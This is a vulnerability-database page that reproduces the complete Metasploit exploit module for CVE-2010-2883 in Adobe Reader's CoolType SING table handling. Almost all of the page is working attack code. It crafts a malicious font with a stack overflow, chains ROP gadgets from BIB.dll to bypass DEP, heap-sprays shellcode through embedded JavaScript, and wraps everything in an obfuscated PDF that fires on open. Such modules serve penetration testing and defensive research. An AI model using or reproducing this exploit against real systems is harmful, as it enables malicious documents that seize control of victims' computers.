Recent Vulnerabilities Research Posts Trends Blog About Contact
Related Vulnerabilities: CVE-2010-2883
Publish Date: 09 Sep 2010
Author: jduck, neox_fx, sn0wfl0w, vicheck, metasploit.com
Source
                							

                ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
      'Description'    =&gt; %q{
          This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
        handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
        assumed to be vulnerable as well.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        [
          'Unknown',    # 0day found in the wild
          '@sn0wfl0w',  # initial analysis
          '@neox_fx',   # initial analysis
          '@vicheck',   # initial analysis
          'jduck'       # Metasploit module
        ],
      'Version'        =&gt; '$Revision$',
      'References'     =&gt;
        [
          [ 'CVE', '2010-2883' ],
          [ 'OSVDB', '67849'],
          [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
          [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
        ],
      'DefaultOptions' =&gt;
        {
          'EXITFUNC'             =&gt; 'process',
          'InitialAutoRunScript' =&gt; 'migrate -f'
        },
      'Payload'        =&gt;
        {
          'Space'    =&gt; 1000,
          'BadChars' =&gt; "\x00",
          'DisableNops' =&gt; true
        },
      'Platform'       =&gt; 'win',
      'Targets'        =&gt;
        [
          # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
          [ 'Automatic', { }],
        ],
      'DisclosureDate' =&gt; 'Sep 07 2010',
      'DefaultTarget'  =&gt; 0))

    register_options(
       [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
      ], self.class)
  end

   def exploit
    ttf_data = make_ttf()

    js_data = make_js(payload.encoded)

    # Create the pdf
    pdf = make_pdf(ttf_data, js_data)

    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(pdf)
  end

  def make_ttf
    ttf_data = ""

    # load the static ttf file

    # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
    path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
    fd = File.open( path, "rb" )
    ttf_data = fd.read(fd.stat.size)
    fd.close

    # Build the SING table
    sing = ''
    sing &lt;&lt; [
      0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
      0xe01,  # glyphletVersion
      0x100,  # embeddingInfo
      0,      # mainGID
      0,      # unitsPerEm
      0,      # vertAdvance
      0x3a00  # vertOrigin
    ].pack('vvvvvvvv')
    # uniqueName
    # "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
    sing &lt;&lt; "A" * (0x254 - sing.length)

    # 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
    sing[0x140, 4] = [0x08231060 - 0x1c].pack('V')

    # This becomes our new EIP (puts esp to stack buffer)
    ret = 0x81586a5 # add ebp, 0x794 / leave / ret
    sing[0x208, 4] = [ret].pack('V')

    # This becomes the new eip after the first return
    ret = 0x806c57e
    sing[0x18, 4] = [ret].pack('V')

    # This becomes the new esp after the first return
    esp = 0x0c0c0c0c
    sing[0x1c, 4] = [esp].pack('V')
    
    # Without the following, sub_801ba57 returns 0.
    sing[0x24c, 4] = [0x6c].pack('V')

    ttf_data[0xec, 4] = "SING"
    ttf_data[0x11c, sing.length] = sing

    #File.open("/tmp/woop.ttf", "wb") { |fd| fd.write(ttf_data) }

    ttf_data
  end

  def make_js(encoded_payload)

    # The following executes a ret2lib using BIB.dll
    # The effect is to bypass DEP and execute the shellcode in an indirect way
    stack_data = [
      0xc0c0c0c,
      0x7004919,      # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
      0xcccccccc,
      0x70048ef,      # xchg eax,esp / ret
      0x700156f,      # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
      0xcccccccc,
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009033,      # ret 0x18
      0x7009084,      # ret
      0xc0c0c0c,
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7001599,      # pop ebp / ret
      0x10124,
      0x70072f7,      # pop eax / ret
      0x10104,
      0x70015bb,      # pop ecx / ret
      0x1000,
      0x700154d,      # mov [eax], ecx / ret
      0x70015bb,      # pop ecx / ret
      0x7ffe0300,     # -- location of KiFastSystemCall
      0x7007fb2,      # mov eax, [ecx] / ret
      0x70015bb,      # pop ecx / ret
      0x10011,
      0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
      0x70015bb,      # pop ecx / ret
      0x10100,
      0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
      0x70072f7,      # pop eax / ret
      0x10011,
      0x70052e2,      # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
      0x7005c54,      # pop esi / add esp,0x14 / ret
      0xffffffff,
      0x10100,
      0x0,
      0x10104,
      0x1000,
      0x40,
      # The next bit effectively copies data from the interleaved stack to the memory
      # pointed to by eax
      # The data copied is:
      # \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
      # \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
      # \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
      0x700d731,      # mov eax, [ebp-0x24] / ret
      0x70015bb,      # pop ecx / ret
      0x9054905a,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x5815eb5a,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x18891a8b,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x8304c083,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0xfb8104c2,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0xc0c0c0c,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x5ebee75,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0xffffe6e8,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x909090ff,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x90909090,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x90909090,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x90ffffff,
      0x700154d,      # mov [eax], ecx / ret
      0x700d731,      # mov eax, [ebp-0x24] / ret
      0x700112f       # call eax -- (execute stub to transition to full shellcode)
    ].pack('V*')

    var_unescape  = rand_text_alpha(rand(100) + 1)
    var_shellcode = rand_text_alpha(rand(100) + 1)

    var_start     = rand_text_alpha(rand(100) + 1)

    var_s         = 0x10000
    var_c         = rand_text_alpha(rand(100) + 1)
    var_b         = rand_text_alpha(rand(100) + 1)
    var_d         = rand_text_alpha(rand(100) + 1)
    var_3         = rand_text_alpha(rand(100) + 1)
    var_i         = rand_text_alpha(rand(100) + 1)
    var_4         = rand_text_alpha(rand(100) + 1)

    payload_buf = ''
    payload_buf &lt;&lt; stack_data
    payload_buf &lt;&lt; encoded_payload

    escaped_payload = Rex::Text.to_unescape(payload_buf)

    js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 &lt; #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length &lt; 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}&lt;0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

    js
  end

  def RandomNonASCIIString(count)
    result = ""
    count.times do
      result &lt;&lt; (rand(128) + 128).chr
    end
    result
  end

  def ioDef(id)
    "%d 0 obj \n" % id
  end

  def ioRef(id)
    "%d 0 R" % id
  end


  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def nObfu(str)
    #return str
    result = ""
    str.scan(/./u) do |c|
      if rand(2) == 0 and c.upcase &gt;= 'A' and c.upcase &lt;= 'Z'
        result &lt;&lt; "#%x" % c.unpack("C*")[0]
      else
        result &lt;&lt; c
      end
    end
    result
  end


  def ASCIIHexWhitespaceEncode(str)
    result = ""
    whitespace = ""
    str.each_byte do |b|
      result &lt;&lt; whitespace &lt;&lt; "%02x" % b
      whitespace = " " * (rand(3) + 1)
    end
    result &lt;&lt; "&gt;"
  end


  def make_pdf(ttf, js)

    #swf_name = rand_text_alpha(8 + rand(8)) + ".swf"

    xref = []
    eol = "\n"
    endobj = "endobj" &lt;&lt; eol

    # Randomize PDF version?
    pdf = "%PDF-1.5" &lt;&lt; eol
    pdf &lt;&lt; "%" &lt;&lt; RandomNonASCIIString(4) &lt;&lt; eol

    # catalog
    xref &lt;&lt; pdf.length
    pdf &lt;&lt; ioDef(1) &lt;&lt; nObfu("&lt;&lt;") &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Pages ") &lt;&lt; ioRef(2) &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Type /Catalog") &lt;&lt; eol
    pdf &lt;&lt; nObfu("/OpenAction ") &lt;&lt; ioRef(11) &lt;&lt; eol
    pdf &lt;&lt; nObfu("&gt;&gt;") &lt;&lt; eol
    pdf &lt;&lt; endobj

    # pages array
    xref &lt;&lt; pdf.length
    pdf &lt;&lt; ioDef(2) &lt;&lt; nObfu("&lt;&lt;") &lt;&lt; eol
    pdf &lt;&lt; nObfu("/MediaBox ") &lt;&lt; ioRef(3) &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Resources ") &lt;&lt; ioRef(4) &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Kids [") &lt;&lt; ioRef(5) &lt;&lt; "]" &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Count 1") &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Type /Pages") &lt;&lt; eol
    pdf &lt;&lt; nObfu("&gt;&gt;") &lt;&lt; eol
    pdf &lt;&lt; endobj

    # media box
    xref &lt;&lt; pdf.length
    pdf &lt;&lt; ioDef(3)
    pdf &lt;&lt; "[0 0 595 842]" &lt;&lt; eol
    pdf &lt;&lt; endobj

    # resources
    xref &lt;&lt; pdf.length
    pdf &lt;&lt; ioDef(4)
    pdf &lt;&lt; nObfu("&lt;&lt;") &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Font ") &lt;&lt; ioRef(6) &lt;&lt; eol
    pdf &lt;&lt; "&gt;&gt;" &lt;&lt; eol
    pdf &lt;&lt; endobj

    # page 1
    xref &lt;&lt; pdf.length
    pdf &lt;&lt; ioDef(5) &lt;&lt; nObfu("&lt;&lt;") &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Parent ") &lt;&lt; ioRef(2) &lt;&lt; eol
    pdf &lt;&lt; nObfu("/MediaBox ") &lt;&lt; ioRef(3) &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Resources ") &lt;&lt; ioRef(4) &lt;&lt; eol
    #pdf &lt;&lt; nObfu("/MediaBox [0 0 640 480]")
    #pdf &lt;&lt; "&lt;&lt;"
    #if true
    #  pdf &lt;&lt; nObfu("/ProcSet [ /PDF /Text ]") &lt;&lt; eol
    #  pdf &lt;&lt; nObfu("/Font &lt;&lt; /F1 ") &lt;&lt; ioRef(8) &lt;&lt; nObfu("&gt;&gt;") &lt;&lt; eol
    #end
    #pdf &lt;&lt; nObfu("&gt;&gt;") &lt;&lt; eol # end resources
    pdf &lt;&lt; nObfu("/Contents [") &lt;&lt; ioRef(8) &lt;&lt; nObfu("]") &lt;&lt; eol
    #pdf &lt;&lt; nObfu("/Annots [") &lt;&lt; ioRef(7) &lt;&lt; nObfu("]") &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Type /Page") &lt;&lt; eol
    pdf &lt;&lt; nObfu("&gt;&gt;") &lt;&lt; eol # end obj dict
    pdf &lt;&lt; endobj

    # font
    xref &lt;&lt; pdf.length
    pdf &lt;&lt; ioDef(6) &lt;&lt; nObfu("&lt;&lt;") &lt;&lt; eol
    pdf &lt;&lt; nObfu("/F1 ") &lt;&lt; ioRef(7) &lt;&lt; eol
    pdf &lt;&lt; "&gt;&gt;" &lt;&lt; eol
    pdf &lt;&lt; endobj

    # ttf object
    xref &lt;&lt; pdf.length
    pdf &lt;&lt; ioDef(7) &lt;&lt; nObfu("&lt;&lt;") &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Type /Font") &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Subtype /TrueType") &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Name /F1") &lt;&lt; eol
    pdf &lt;&lt; nObfu("/BaseFont /Cinema") &lt;&lt; eol
    #pdf &lt;&lt; nObfu("/FirstChar 0")
    #pdf &lt;&lt; nObfu("/LastChar 255")
    pdf &lt;&lt; nObfu("/Widths []") &lt;&lt; eol
    #256.times {
    #  pdf &lt;&lt; "%d " % rand(256)
    #}
    #pdf &lt;&lt; "]" &lt;&lt; eol
    pdf &lt;&lt; nObfu("/FontDescriptor ") &lt;&lt; ioRef(9)
    pdf &lt;&lt; nObfu("/Encoding /MacRomanEncoding")
    #pdf &lt;&lt; nObfu("/FontBBox [-177 -269 1123 866]")
    #pdf &lt;&lt; nObfu("/FontFile2 ") &lt;&lt; ioRef(9)
    pdf &lt;&lt; nObfu("&gt;&gt;") &lt;&lt; eol
    pdf &lt;&lt; endobj

    # page content
    content = "Hello World!"
    content = "" +
      "0 g" + eol +
      "BT" + eol +
      "/F1 32 Tf" + eol +
      #"  10 10 Td" + eol +
      "32 Tc" + eol +
      "1 0 0 1 32 773.872 Tm" + eol +
      #"2 Tr" + eol +
      "(" + content + ") Tj" + eol +
      "ET"

    xref &lt;&lt; pdf.length
    pdf &lt;&lt; ioDef(8) &lt;&lt; "&lt;&lt;" &lt;&lt; eol
    pdf &lt;&lt; nObfu("/Length %s" % content.length) &lt;&lt; eol
    pdf &lt;&lt; "&gt;&gt;" &lt;&lt; eol
    pdf &lt;&lt; "stream" &lt;&lt; eol
    pdf &lt;&lt; content &lt;&lt; eol
    pdf &lt;&lt; "endstream" &lt;&lt; eol
    pdf &lt;&lt; endobj

    # font descriptor
    xref &lt;&lt; pdf.length
    pdf &lt;&lt; ioDef(9) &lt;&lt; nObfu("&lt;&lt;")
    pdf &lt;&lt; nObfu("/Type/FontDescriptor/FontName/Cinema")
    pdf &lt;&lt; nObfu("/Flags %d" % (2**2 + 2**6 + 2**17))
    pdf &lt;&lt; nObfu("/FontBBox [-177 -269 1123 866]")
    pdf &lt;&lt; nObfu("/FontFile2 ") &lt;&lt; ioRef(10)
    pdf &lt;&lt; nObfu("&gt;&gt;") &lt;&lt; eol
    pdf &lt;&lt; endobj

    # ttf stream
    xref &lt;&lt; pdf.length
    pdf &lt;&lt; ioDef(10) &lt;&lt; nObfu("&lt;&lt;/Length %s /Length1 %s&gt;&gt;" % [ttf.length, ttf.length]) &lt;&lt; eol
    pdf &lt;&lt; "stream" &lt;&lt; eol
    pdf &lt;&lt; ttf &lt;&lt; eol
    pdf &lt;&lt; "endstream" &lt;&lt; eol
    pdf &lt;&lt; endobj

    # js action
    xref &lt;&lt; pdf.length
    pdf &lt;&lt; ioDef(11) &lt;&lt; nObfu("&lt;&lt;")
    pdf &lt;&lt; nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12)
    pdf &lt;&lt; nObfu("&gt;&gt;") &lt;&lt; eol
    pdf &lt;&lt; endobj

    # js stream
    xref &lt;&lt; pdf.length
    compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
    pdf &lt;&lt; ioDef(12) &lt;&lt; nObfu("&lt;&lt;/Length %s/Filter[/FlateDecode/ASCIIHexDecode]&gt;&gt;" % compressed.length) &lt;&lt; eol
    pdf &lt;&lt; "stream" &lt;&lt; eol
    pdf &lt;&lt; compressed &lt;&lt; eol
    pdf &lt;&lt; "endstream" &lt;&lt; eol
    pdf &lt;&lt; endobj

    # trailing stuff
    xrefPosition = pdf.length
    pdf &lt;&lt; "xref" &lt;&lt; eol
    pdf &lt;&lt; "0 %d" % (xref.length + 1) &lt;&lt; eol
    pdf &lt;&lt; "0000000000 65535 f" &lt;&lt; eol
    xref.each do |index|
      pdf &lt;&lt; "%010d 00000 n" % index &lt;&lt; eol
    end

    pdf &lt;&lt; "trailer" &lt;&lt; eol
    pdf &lt;&lt; nObfu("&lt;&lt;/Size %d/Root " % (xref.length + 1)) &lt;&lt; ioRef(1) &lt;&lt; "&gt;&gt;" &lt;&lt; eol

    pdf &lt;&lt; "startxref" &lt;&lt; eol
    pdf &lt;&lt; xrefPosition.to_s() &lt;&lt; eol

    pdf &lt;&lt; "%%EOF" &lt;&lt; eol
    pdf
  end

end
<p>
Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.
Home Recent Vulnerabilities Research Posts Trends Blog About Contact
Vulmon Search Vulmon Research Vulmon Alerts Vulmap
Twitter Reddit Linkedin Facebook
Adobe Reader Smart INdependent Glyplets (SING) Table Handling Vulnerability

Vulmon Search

About

Products

Connect
